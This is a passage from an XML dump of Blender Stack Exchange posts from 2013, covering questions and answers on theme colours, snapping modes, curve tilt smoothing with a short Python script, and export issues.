  <row Id="1939" PostTypeId="2" ParentId="1921" CreationDate="2013-07-22T22:54:59.657" Score="1" Body="&lt;p&gt;Short answer no.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Well not really, the closest thing you could get this would be...&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Define your own operator in Python which calls the regular operator and makes some adjustments after.&lt;/li&gt;&#xA;&lt;li&gt;Modify the defaults in Blender's source code &lt;em&gt;(ok, this isn't a real solution, just noting that its possible and not that hard if you build blender already)&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Both are clunky workarounds.&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-22T22:54:59.657" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1940" PostTypeId="2" ParentId="1922" CreationDate="2013-07-23T05:55:36.530" Score="3" Body="&lt;p&gt;Variables are not always available in the context, typically you can access them directly, in the case of the active object you can access it from &#xA;&lt;code&gt;scene.objects.active&lt;/code&gt; (most collections that have an active member work this way).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-07-23T05:55:36.530" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1941" PostTypeId="1" CreationDate="2013-07-23T05:56:36.140" Score="7" ViewCount="228" Body="&lt;p&gt;I found the current color for constraint relation line is hard to see a little bit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to change the &quot;wire&quot;color in the Theme setting panel, but it seems not work for the relation lines. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bhEaj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for your guide.&lt;/p&gt;&#xA;" OwnerUserId="989" LastEditorUserId="12" LastEditDate="2013-07-23T12:06:27.623" LastActivityDate="2013-07-23T13:22:40.933" Title="Theme option for changing relation line for constraints?" Tags="&lt;customization&gt;&lt;theme&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1943" PostTypeId="2" ParentId="1941" CreationDate="2013-07-23T09:38:27.957" Score="2" Body="&lt;p&gt;I see your point. It puzzled me a lot, too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I found that the only way to change the relationship lines for &lt;em&gt;constraints&lt;/em&gt; are nothing but the &quot;Grid&quot;, not the &quot;Wire&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, This is really not good for distinguishing the constraint lines from the background, including grid, by doing this. It seems that they are mixed together.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also hope it may draw dev's attention to improve this. As I said, it's really not good to tweak two different thing by one single option.&lt;/p&gt;&#xA;" OwnerUserId="696" LastActivityDate="2013-07-23T09:38:27.957" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1944" PostTypeId="2" ParentId="1941" CreationDate="2013-07-23T11:30:43.517" Score="1" Body="&lt;h1&gt;Change constraint line colour&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This can be set in the &lt;kbd&gt;File | &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences&quot; rel=&quot;nofollow&quot;&gt;User Preference…&lt;/a&gt; | &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Preferences/Themes&quot; rel=&quot;nofollow&quot;&gt;Themes&lt;/a&gt;&lt;/kbd&gt;. It uses a mix of &lt;kbd&gt;Interface | Axis Colors | Z Axis&lt;/kbd&gt; and &lt;kbd&gt;3D View | Theme 3D View | Grid&lt;/kbd&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-07-23T13:22:40.933" LastActivityDate="2013-07-23T13:22:40.933" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1945" PostTypeId="1" CreationDate="2013-07-23T12:56:36.343" Score="8" ViewCount="661" Body="&lt;p&gt;I understand what it does, but it doesn't make sense. The terms used might be confusing for new users.&lt;/p&gt;&#xA;" OwnerUserId="991" LastEditorUserId="12" LastEditDate="2013-07-23T13:06:56.400" LastActivityDate="2013-07-23T13:12:15.243" Title="Why does Blender have the Z-axis up but is the depth-pass actually called a Z-pass?" Tags="&lt;terminology&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1946" PostTypeId="2" ParentId="1945" CreationDate="2013-07-23T13:04:40.107" Score="8" Body="&lt;p&gt;Because 3D space and image space are unrelated.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It makes sense that you have &lt;code&gt;(X, Y)&lt;/code&gt; used for a 2D image, so then its logical that the depth be &lt;code&gt;Z&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Which axis represents 'depth' in 3D space is undefined, there is no right answer and it's not consistent between applications, if you work with maps it may make sense that &lt;code&gt;(X, Y)&lt;/code&gt; are for a 2D top-down view and Z is the land height. But you can rationalize this differently too, so what makes sense to you is probably based on the applications or use-cases you've previously been used to.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="55" LastEditorUserId="290" LastEditDate="2013-07-23T13:12:15.243" LastActivityDate="2013-07-23T13:12:15.243" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1948" PostTypeId="1" AcceptedAnswerId="1949" CreationDate="2013-07-23T19:22:15.890" Score="2" ViewCount="327" Body="&lt;p&gt;I want to change the color of the &lt;em&gt;File, Edit&lt;/em&gt; and &lt;em&gt;View&lt;/em&gt; menus:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Xlbbs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And all the similar menus such as the 3D view menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DRZhy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where can I find the settings for these text menus?&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-07-23T19:54:07.583" Title="Where is the color selection for text menus?" Tags="&lt;customization&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1949" PostTypeId="2" ParentId="1948" CreationDate="2013-07-23T19:54:07.583" Score="1" Body="&lt;p&gt;This is in the the group &lt;em&gt;Pulldown&lt;/em&gt; under &lt;em&gt;User Interface&lt;/em&gt; as &lt;em&gt;Text&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/D2Hyc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-07-23T19:54:07.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1950" PostTypeId="1" CreationDate="2013-07-23T22:58:20.807" Score="6" ViewCount="234" Body="&lt;p&gt;If you change a color in &lt;em&gt;User Preferences &gt; Themes&lt;/em&gt;, and then try to change it back to it's default by &lt;em&gt;Right click &gt; Reset to Default Value&lt;/em&gt;: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ca0N4.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It just makes R=0, G=0 and B=0, (Black)! Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ldhpL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know there is a 'Reset to Default Theme' button at the bottom of the Preferences window, but that resets the whole Theme.&lt;/p&gt;&#xA;" OwnerUserId="470" LastEditorUserId="599" LastEditDate="2013-07-24T01:35:49.000" LastActivityDate="2013-07-24T03:14:46.647" Title="In Themes, why does 'Reset to Default Value' result in black?" Tags="&lt;customization&gt;&lt;theme&gt;" AnswerCount="1" CommentCount="1" ClosedDate="2014-03-16T01:24:24.017" ContentLicense="CC BY-SA 3.0" />
  <row Id="1951" PostTypeId="2" ParentId="1950" CreationDate="2013-07-24T03:14:46.647" Score="3" Body="&lt;p&gt;As it says in this &lt;a href=&quot;https://projects.blender.org/tracker/?func=detail&amp;amp;atid=498&amp;amp;aid=25274&amp;amp;group_id=9&quot; rel=&quot;nofollow&quot;&gt;bug report&lt;/a&gt;,  there are some default values which are hardcoded into blender, and not read from the startup .blend  (which is what the &lt;em&gt;Reset To Default Value&lt;/em&gt; operator does)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a &lt;a href=&quot;https://projects.blender.org/tracker/?func=detail&amp;amp;aid=23538&amp;amp;group_id=9&amp;amp;atid=498&quot; rel=&quot;nofollow&quot;&gt;known bug&lt;/a&gt; on the blender wiki &lt;a href=&quot;http://wiki.blender.org/index.php/Dev:2.5/Source/Development/Todo/Simple_Todos#RNA&quot; rel=&quot;nofollow&quot;&gt;todo list&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2013-07-24T03:14:46.647" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1952" PostTypeId="1" AcceptedAnswerId="2147" CreationDate="2013-07-24T07:08:05.160" Score="5" ViewCount="601" Body="&lt;p&gt;I have a simple cube (the starting scene cube) that I applied a halo material to. When I export to fbx and use the fbx in xna, it just shows the normal grey cube, sans halo. How would I keep the material when exporting?&lt;/p&gt;&#xA;" OwnerUserId="994" LastActivityDate="2013-08-05T16:34:12.327" Title="Exporting to fbx - halo material is lost" Tags="&lt;materials&gt;&lt;export&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1953" PostTypeId="1" CreationDate="2013-07-24T10:47:36.180" Score="24" ViewCount="1746" Body="&lt;p&gt;Steps:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I created two identical objects, and animated them to rotate 360 degrees.&lt;/li&gt;&#xA;&lt;li&gt;I used &lt;a href=&quot;http://wiki.blender.org/index.php/User:Pepribal/Ref/Appendices/Rotation#Euler_rotation_modes&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;euler&lt;/em&gt;&lt;/a&gt; for the first object and &lt;a href=&quot;http://wiki.blender.org/index.php/User:Pepribal/Ref/Appendices/Rotation#Quaternion_rotation_mode&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;quaternion&lt;/em&gt;&lt;/a&gt; for the second.&lt;/li&gt;&#xA;&lt;li&gt;In the Viewport they rotate the same, but in the &lt;em&gt;Game engine&lt;/em&gt;&#xA;the second object is rotated differently.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What's wrong with quaternion rotation in the &lt;em&gt;Game engine&lt;/em&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://yadi.sk/d/26ScZNoV7E3yK&quot; rel=&quot;noreferrer&quot;&gt;blendfile&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cPfK4.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/d4Ccy.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="995" LastEditorUserId="599" LastEditDate="2013-07-31T04:58:55.853" LastActivityDate="2017-07-23T05:45:51.277" Title="What's Wrong with Quaternion Rotation in the Game Engine?" Tags="&lt;animation&gt;&lt;game-engine&gt;&lt;transforms&gt;" AnswerCount="1" CommentCount="8" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1954" PostTypeId="2" ParentId="1933" CreationDate="2013-07-24T11:05:55.053" Score="3" Body="&lt;p&gt;You can only change the angle and &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Lighting/Shadows/Raytraced_Properties&quot; rel=&quot;nofollow noreferrer&quot;&gt;softness&lt;/a&gt; of a Sun lamp's shadow.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h1&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Lighting/Lamps/Sun&quot; rel=&quot;nofollow noreferrer&quot;&gt;Sun Lamp&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;p&gt;A Sun lamp provides light of constant intensity emitted in a single direction. A Sun lamp can be very handy for a uniform clear daylight open-space illumination. In the 3D view, the Sun light is represented by an encircled black dot with rays emitting from it, plus a dashed line indicating the direction of the light.&lt;/p&gt;&#xA;&lt;p&gt;This direction can be changed by rotating the Sun lamp, like any other object, but because the light is emitted in a constant direction, the location of a Sun lamp does not affect the rendered result (unless you use the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Lighting/Lamps/Sun/Sky_and_Atmosphere&quot; rel=&quot;nofollow noreferrer&quot;&gt;“sky &amp;amp; atmosphere” option&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For more control of the shadow you'll need to use another of the available &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Lighting/Lamps&quot; rel=&quot;nofollow noreferrer&quot;&gt;lamp types&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2013-07-24T11:05:55.053" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1955" PostTypeId="1" AcceptedAnswerId="1968" CreationDate="2013-07-24T12:37:25.793" Score="10" ViewCount="2897" Body="&lt;p&gt;Trying to use the snap functions, I don't really understand how the &quot;part to snap&quot; option works in object mode and how to accomplish a precise snap.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;em&gt;Closest&lt;/em&gt; is working as expected.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;and 3. &lt;em&gt;Center&lt;/em&gt; and &lt;em&gt;median&lt;/em&gt; : I couldn't notice the difference. I would await &quot;center&quot; to snap the origin on the target (that's the case in all my test), but then &quot;median&quot; should snap the &quot;middle of the mesh&quot; to the target ? At the end, on my computer with 2.68, both do the same. Wrong configuration or bug ?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&quot;Active&quot;, the one I need the most. I would await it to snap the active vert/edge/face in the mesh. But it does like &quot;Center&quot; and &quot;Median&quot;, it snaps the origin to the target :/ Maybe the &quot;active thing&quot; is the object and not the vert at that moment, but it makes no sense to have 3 different options that do the same and really not what is expected ? It works in Edit Mode.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong ? If it has to stay so, maybe explain why and a way to accomplish 4) in object mode would be great.&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="599" LastEditDate="2013-12-05T22:50:38.197" LastActivityDate="2015-10-29T08:23:00.243" Title="How to use snap option in object mode?" Tags="&lt;editing&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1956" PostTypeId="1" AcceptedAnswerId="3111" CreationDate="2013-07-24T12:45:05.333" Score="5" ViewCount="690" Body="&lt;p&gt;When using the snapping function during a translation in a script, is there a way to know which object, vertex, edge, or face was used as the snapping target?&lt;/p&gt;&#xA;" OwnerUserId="296" LastEditorUserId="599" LastEditDate="2013-12-05T22:46:42.863" LastActivityDate="2013-12-05T22:46:42.863" Title="How to know what object the snap function is targeting (in Python)?" Tags="&lt;python&gt;" AnswerCount="2" CommentCount="2" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1957" PostTypeId="1" AcceptedAnswerId="1960" CreationDate="2013-07-24T12:45:53.940" Score="5" ViewCount="1979" Body="&lt;p&gt;There's an option to smooth a curve's radius, but is it possible to smooth the Tilt factor of points in a curve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/TjZF7.png&quot; alt=&quot;Curves with first, last and mid point tilts changed&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example when making a road or flight path, I'd like to tilt just some of the points and have it interpolate for the points in between, or simply smooth out the tilting of selected points to get rid of unwanted bumps.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there any native way to do this?&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2013-07-24T18:33:54.553" Title="Smoothing curve &quot;tilt&quot;" Tags="&lt;bezier-curves&gt;" AnswerCount="3" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1958" PostTypeId="2" ParentId="1957" CreationDate="2013-07-24T12:45:53.940" Score="3" Body="&lt;p&gt;At the moment I assume that there is no native way to do this, correct me if I'm wrong.&#xA;So I wrote a little script that will interpolate (not smooth) tilts of the selected points linearly:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;pre class=&quot;lang-py prettyprint-override&quot;&gt;&lt;code&gt;import bpy&#xA;curve = bpy.context.object.data&#xA;&#xA;# create point list&#xA;points = []&#xA;for pt in curve.splines[0].points:&#xA;    if pt.select:&#xA;        points.append(pt)&#xA;        print(pt.tilt)&#xA;&#xA;starttilt = points[0].tilt&#xA;stoptilt = points[-1].tilt&#xA;&#xA;# linear interpolation&#xA;print ()&#xA;increment = (starttilt - stoptilt) / len(points)&#xA;for pt in points:&#xA;    pt.tilt = starttilt - increment&#xA;    increment += (starttilt - stoptilt) / len(points)&#xA;    print(pt.tilt)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This will loop through the selected points and set the tilts to interpolated values between the original tilt of the first and last selected points.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Result:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/7gp65.png&quot; alt=&quot;Result of the above script&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="9" LastEditorUserId="55" LastEditDate="2013-07-24T14:00:38.153" LastActivityDate="2013-07-24T14:00:38.153" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1959" PostTypeId="2" ParentId="1955" CreationDate="2013-07-24T12:47:17.083" Score="1" Body="&lt;p&gt;From the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Snap#Snap_Target&quot; rel=&quot;nofollow&quot;&gt;Snap Target&lt;/a&gt; section of the wiki:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;dl&gt;&#xA;  &lt;dt&gt;&lt;b&gt;Active&lt;/b&gt;&lt;/dt&gt;&#xA;  &lt;dd&gt;move the active element (vertex in Edit mode, object in Object mode) to the target.&lt;/dd&gt;&#xA;  &lt;dt&gt;&lt;b&gt;Median&lt;/b&gt;&lt;/dt&gt;&#xA;  &lt;dd&gt;move the median of the selection to the target.&lt;/dd&gt;&#xA;  &lt;dt&gt;&lt;b&gt;Center&lt;/b&gt;&lt;/dt&gt;&#xA;  &lt;dd&gt;move the current transformation center to the target. Can be used with 3D &gt; cursor to snap with an offset.&lt;/dd&gt;&#xA;  &lt;dt&gt;&lt;b&gt;Closest&lt;/b&gt;&lt;/dt&gt;&#xA;  &lt;dd&gt;move the closest point of the selection to the target.&lt;/dd&gt;&#xA;  &lt;/dl&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;By &quot;transformation center&quot; they are referring to the &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point&quot; rel=&quot;nofollow&quot;&gt;Pivot Point&lt;/a&gt;, which defaults to &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point/Median_Point&quot; rel=&quot;nofollow&quot;&gt;Median&lt;/a&gt;, hence the difference not being immediately noticeable.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="290" LastEditDate="2013-07-24T17:06:50.753" LastActivityDate="2013-07-24T17:06:50.753" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1960" PostTypeId="2" ParentId="1957" CreationDate="2013-07-24T14:32:36.200" Score="6" Body="&lt;p&gt;Curve weight and tilt smoothing has been added in &lt;a href=&quot;https://projects.blender.org/scm/viewvc.php?view=rev&amp;amp;root=bf-blender&amp;amp;revision=58575&quot; rel=&quot;nofollow&quot;&gt;r58575&lt;/a&gt;.&lt;br&gt;&#xA;Will be available in the 2.69 release or any recent build.&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="599" LastEditDate="2013-07-24T18:33:54.553" LastActivityDate="2013-07-24T18:33:54.553" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1961" PostTypeId="2" ParentId="1957" CreationDate="2013-07-24T16:05:55.117" Score="3" Body="&lt;p&gt;You could use &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Proportional_Edit&quot; rel=&quot;nofollow noreferrer&quot;&gt;Proportional Editing&lt;/a&gt; while preforming Tilt operation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WqTsr.gif&quot; alt=&quot;Tilting curve point 180° while increasing the proportional editing falloff&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also the tilt interpolation method in the Properties window, Object Data tab, &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves#Active_Spline&quot; rel=&quot;nofollow noreferrer&quot;&gt;Active Spline panel&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-07-24T16:05:55.117" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1962" PostTypeId="1" CreationDate="2013-07-24T18:45:59.560" Score="3" ViewCount="177" Body="&lt;p&gt;I'm trying to write a modal operator for the timeline, but I'm confused about how to get the current frame cursor in the timeline to follow a 'mousemove' event (and consequently, how to set the new current frame when the operator finishes).&lt;/p&gt;&#xA;" OwnerUserId="981" LastActivityDate="2013-07-24T20:24:17.960" Title="Timeline modal operator: how to get frame cursor to follow mouse" Tags="&lt;scripting&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1964" PostTypeId="2" ParentId="1962" CreationDate="2013-07-24T20:24:17.960" Score="1" Body="&lt;p&gt;Solved - &#xA;in the invoke() function, I set these:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self._initial_mouse = event.mouse_x&#xA;self._initial_frame = scene.frame_current&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in modal():&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;self.offset = (self._initial_mouse - event.mouse_x) * -0.1&#xA;scene.frame_current = self._initial_frame + self.offset&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="981" LastActivityDate="2013-07-24T20:24:17.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1965" PostTypeId="1" CreationDate="2013-07-24T23:21:33.837" Score="5" ViewCount="517" Body="&lt;p&gt;First off, I'm not really experienced with Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Someone gave me a really large geometry designed with Blender (~135 Mbytes) which I need to export into the COLLADA format for my work on a thesis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, when I start the export function, Blender closes after a few seconds and the resulting COLLADA file is not complete. It just ends somewhere after ~20k lines while defining some vertices. It works fine with smaller geometries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My best guess is, that Blender does not reserve enough memory, gets an out-of-memory-error and closes. I couldn't find any error log. Is there a way display any Blender errors that occured and/or to increase the reserved RAM manually?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using Blender 2.67 on Windows 7 x64.&lt;/p&gt;&#xA;" OwnerUserId="997" LastEditorUserId="599" LastEditDate="2013-07-25T18:48:18.857" LastActivityDate="2013-07-25T18:48:18.857" Title="Is There a Way to let Blender Use More Memory?" Tags="&lt;export&gt;&lt;collada&gt;" AnswerCount="0" CommentCount="6" ClosedDate="2013-08-05T16:12:31.973" ContentLicense="CC BY-SA 3.0" />
  <row Id="1966" PostTypeId="5" CreationDate="2013-07-25T00:47:35.660" Score="0" Body="" OwnerUserId="-1" LastEditorUserId="-1" LastEditDate="2013-07-25T00:47:35.660" LastActivityDate="2013-07-25T00:47:35.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1967" PostTypeId="4" CreationDate="2013-07-25T00:47:35.660" Score="0" Body="Questions related to .stl files. STL (STereoLithography) is a file format created by 3D Systems. The STL format has only data describing the surface of an object, without colors or other parameters. Often used in 3D printing and other computer aided manufacture methods." OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-07-25T01:22:22.987" LastActivityDate="2013-07-25T01:22:22.987" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1968" PostTypeId="2" ParentId="1955" CreationDate="2013-07-25T05:25:01.493" Score="10" Body="&lt;h1&gt;Object Mode Snapping:&lt;/h1&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Center&lt;/strong&gt;&lt;br&gt;&#xA;When in Object mode, &quot;Center&quot; for snap means taking the current &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point&quot; rel=&quot;noreferrer&quot;&gt;Pivot point&lt;/a&gt;&lt;/em&gt; setting of your selection, which also means the transformation center, &lt;strong&gt;not&lt;/strong&gt; the bounding box center of your selection.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Median&lt;/strong&gt;&lt;br&gt;&#xA;As for &quot;median&quot;, it means the same as the &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point&quot; rel=&quot;noreferrer&quot;&gt;Pivot type&lt;/a&gt;&lt;/em&gt; Median.&lt;br&gt;&#xA;Median means a sort of center of gravity of the selection. The behavior is most obvious with an  asymmetric selection:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/4G4s7.png&quot; alt=&quot;Median in object mode&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is one way to get the same result by using &quot;Center&quot; and &quot;Median&quot; snapping,  which is when using &lt;em&gt;Center&lt;/em&gt; snapping mode, if your &lt;em&gt;Pivot point&lt;/em&gt; setting is &lt;em&gt;Median&lt;/em&gt;, then it behaves the same as when using &quot;Median&quot; snapping mode.&lt;br&gt;&#xA;In any other case, they will not be same unless your selected objects are distributed perfectly even with each other.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Vert/edge/face&lt;/strong&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Vert/edge/face are only available in Edit mode. So, don't think about it in Object mode, when in object mode, unless you are using &quot;Closet&quot; as snap target (available for vertex). your snap target &quot;Active&quot; will only be the origin of the one you selected last. Furthermore, make sure you do have a object that is selected and activated, otherwise blender has nothing available to snap, but to use &quot;Median&quot; point as the alternative one. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I hope I've tried my best to answer every point in your question. Of course, if any question, just throw it here, we'll try to offer further help. :)&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;P.S.&lt;/strong&gt;: If you really need to snap certain element (vert/edge/face) in Object mode, you may consider switching to &lt;em&gt;Edit Mode&lt;/em&gt; first, place/snap 3D cursor to wherever you want, then go back to &lt;em&gt;Object Mode&lt;/em&gt;, using &lt;em&gt;Center&lt;/em&gt; as snap target. Then switch &lt;em&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/3D_interaction/Transform_Control/Pivot_Point&quot; rel=&quot;noreferrer&quot;&gt;Pivot point&lt;/a&gt;&lt;/em&gt; to &lt;em&gt;3D Cursor&lt;/em&gt;, which may behave as you expected.&lt;/p&gt;&#xA;" OwnerUserId="696" LastEditorUserId="696" LastEditDate="2015-10-29T08:23:00.243" LastActivityDate="2015-10-29T08:23:00.243" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="1969" PostTypeId="2" ParentId="1691" CreationDate="2013-07-25T09:11:54.147" Score="27" Body="&lt;p&gt;Personally, I use a temporary Emission shader and connect it to whatever I want to look at. I also have a small viewport render open almost permanently.&#xA;The emission shader renders really quickly taking only a couple samples to converge, so it's nearly instantaneous, especially if you go into local view (&lt;kbd&gt;Numpad /&lt;/kbd&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've recently released &lt;a href=&quot;http://adaptivesamples.com/node-wrangler&quot;&gt;an add-on&lt;/a&gt; that uses this method, but sets it all up for you so you simply have to &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;Left Click&lt;/kbd&gt; a node to view it's result (just like the compositor).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/k0Z3Y.png&quot; alt=&quot;Emission shader as viewer 